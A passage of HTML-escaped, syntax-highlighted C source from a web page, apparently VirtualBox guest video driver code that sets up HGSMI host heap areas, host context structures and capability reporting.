class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">cbHostArea<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cbHostAreaMaxSize<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-803\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-804\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">cbHostArea<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cbHostAreaMaxSize<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-805\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-806\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/* Round up to 4096 bytes. *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-807\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">cbHostArea<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">cbHostArea<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xFFF<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">~<\/span><span class=\"crayon-cn\">0xFFF<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-808\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">offVRAMHostArea<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">offVRAMBaseMapping<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cbHostArea<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-809\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-810\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-811\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">pcbHostArea<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cbHostArea<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-812\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">poffVRAMHostArea<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">offVRAMHostArea<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-813\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">LogFunc<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;offVRAMHostArea = 0x%08X, cbHostArea = 0x%08Xn&#8221;<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-814\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-v\">offVRAMHostArea<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cbHostArea<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-815\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-816\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-817\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-818\"><span class=\"crayon-c\">\/**<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-819\"><span class=\"crayon-c\"> * Initialise the host context structure.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-820\"><span class=\"crayon-c\"> *<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-821\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;pCtx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; the context structure to initialise<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-822\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;pvBaseMapping&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;where the basic HGSMI structures are mapped at<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-823\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;offHostFlags&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; the offset of the host flags into the basic HGSMI<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-824\"><span class=\"crayon-c\"> *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;structures<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-825\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;pvHostAreaMapping&nbsp;&nbsp;where the area for the host heap is mapped at<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-826\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;offVRAMHostArea&nbsp;&nbsp;&nbsp;&nbsp;offset of the host heap area into VRAM<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-827\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;cbHostArea&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; size in bytes of the host heap area<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-828\"><span class=\"crayon-c\"> *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-829\"><span class=\"crayon-e\">DECLHIDDEN<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">void<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">VBoxHGSMISetupHostContext<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">PHGSMIHOSTCOMMANDCONTEXT <\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-830\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-t\">void<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">pvBaseMapping<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-831\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">offHostFlags<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-832\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-t\">void<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">pvHostAreaMapping<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-833\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">offVRAMHostArea<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-834\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">cbHostArea<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-835\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-836\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">uint8_t *<\/span><span class=\"crayon-v\">pu8HostFlags<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">uint8_t *<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-v\">pvBaseMapping<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">offHostFlags<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-837\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">pfHostFlags<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">HGSMIHOSTFLAGS *<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-v\">pu8HostFlags<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-838\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/** @todo should we really be using a fixed ISA port value here? *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-839\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">port<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">RTIOPORT<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-v\">VGA_PORT_HGSMI_HOST<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-840\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">HGSMIAreaInitialize<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">areaCtx<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">pvHostAreaMapping<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cbHostArea<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-841\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-v\">offVRAMHostArea<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-842\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-843\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-844\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-845\"><span class=\"crayon-c\">\/**<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-846\"><span class=\"crayon-c\"> * Tell the host about the ways it can use to communicate back to us via an<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-847\"><span class=\"crayon-c\"> * HGSMI command<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-848\"><span class=\"crayon-c\"> *<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-849\"><span class=\"crayon-c\"> * @returns&nbsp;&nbsp;iprt status value<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-850\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;pCtx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;the context containing the heap to use<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-851\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;offVRAMFlagsLocation&nbsp;&nbsp;where we wish the host to place its flags<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-852\"><span class=\"crayon-c\"> *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; relative to the start of the VRAM<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-853\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;fCaps&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; additions HGSMI capabilities the guest<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-854\"><span class=\"crayon-c\"> *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; supports<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-855\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;offVRAMHostArea&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; offset into VRAM of the host heap area<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-856\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;cbHostArea&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;size in bytes of the host heap area<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-857\"><span class=\"crayon-c\"> *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-858\"><span class=\"crayon-e\">DECLHIDDEN<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">VBoxHGSMISendHostCtxInfo<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">PHGSMIGUESTCOMMANDCONTEXT <\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-859\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-e\">HGSMIOFFSET <\/span><span class=\"crayon-v\">offVRAMFlagsLocation<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-860\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">fCaps<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-861\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">offVRAMHostArea<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-862\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">cbHostArea<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-863\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-864\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">Log<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;VBoxVideo::vboxSetupAdapterInfon&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-865\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-866\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/* setup the flags first to ensure they are initialized by the time the<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-867\"><span class=\"crayon-c\">&nbsp;&nbsp;&nbsp;&nbsp; * host heap is ready *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-868\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">vboxHGSMIReportFlagsLocation<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">offVRAMFlagsLocation<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-869\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">AssertRC<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-870\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">RT_SUCCESS<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;&amp;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">fCaps<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-871\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-872\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/* Inform about caps *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-873\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">vboxHGSMISendCapsInfo<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">fCaps<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-874\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">AssertRC<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-875\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-876\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">RT_SUCCESS<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-877\"><span 